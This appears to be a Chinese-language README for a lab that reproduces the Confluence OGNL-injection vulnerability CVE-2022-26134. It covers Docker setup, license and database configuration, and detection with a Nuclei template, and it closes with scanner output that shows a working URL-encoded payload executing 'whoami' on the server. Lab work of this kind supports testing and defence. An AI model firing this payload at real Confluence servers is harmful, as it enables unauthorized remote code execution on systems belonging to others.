CVE-2022-26134-LAB

Confluence Server 和 Confluence Data Center 存在一个严重的未认证远程代码执行漏洞，被标识为 CVE-2022-26134，根据 Atlassian 于 2022 年 6 月 2 日发布的安全公告。该漏洞在 6 月 2 日公布时尚未被修补，并已在野外被利用。截至 6 月 3 日，已有补丁和临时解决方案可用。

本仓库仅用于实验和教育目的。

依赖项

• Docker
• Nuclei

易受攻击的 Confluence 环境

运行易受攻击的环境

docker-compose up

启动后，您可以通过以下 URL 地址访问 Confluence 服务器

http://127.0.0.1:8090/

设置 Confluence 服务器

1. 首次访问该站点时，您将进入设置流程。
2. 在“获取应用”页面上，不要选中任何复选框，直接选择“下一步”。
3. 在许可证密钥页面上，点击标有“获取评估许可证”的链接。
4. 您将被重定向到 my.atlassian.com。确保选择的许可证类型是 Confluence（数据中心）。输入您喜欢的任何组织名称。确保“您的实例正在”单选按钮选中“运行中”。确认这些详细信息后，点击“生成许可证”按钮。
5. 将弹出一个确认模态框，询问您是否要将其安装在服务器上：127.0.0.1。选择“是”
6. 选择“是”将自动填充本地 Confluence 实例上的许可证密钥。选择“下一步”
7. 选择“独立”部署类型，然后选择“下一步”
8. 在设置数据库的页面上，详细信息应按如下填写：
   • 数据库类型：PostgreSQL
   • 设置类型：简单
   • 主机名：db
   • 端口：5432
   • 数据库名称：confluence
   • 用户名：confluence
   • 密码：123456789
9. 填写完这些字段后，点击“测试连接”按钮。您应该会收到消息“成功！数据库连接成功。”然后点击“下一步”。
10. 它将开始设置您的数据库。这可能需要一点时间，请耐心等待。
11. 数据库设置完成后，您将进入“加载内容”页面。选择“示例站点”按钮。
12. 接下来在“配置用户管理”页面，选择“使用 Confluence 管理用户和组”。
13. 接下来在“配置系统管理员帐户”页面，创建一个帐户并选择“下一步”。
14. 完成后，您将看到设置成功。点击“开始”。
15. 系统会要求您“创建一个空间来存储您的工作”。输入您喜欢的任何空间名称。
16. 跳过教程
17. 您现在已完成 Confluence 服务器的评估设置。

检测 CVE-2022-26134

该漏洞是一个影响 HTTP 服务器的 OGNL 注入漏洞。OGNL 载荷放在 HTTP 请求的 URI 中。任何类型的 HTTP 方法似乎都有效，无论是有效的（GET、POST、PUT 等）还是无效的（例如“BALH”）。

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

使用 Nuclei

运行以下 Nuclei 命令：

nuclei -u http://127.0.0.1:8090 -t nuclei-templates/cves/2022/CVE-2022-26134.yaml

扫描输出

[CVE-2022-26134] [http] [critical] http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ [confluence]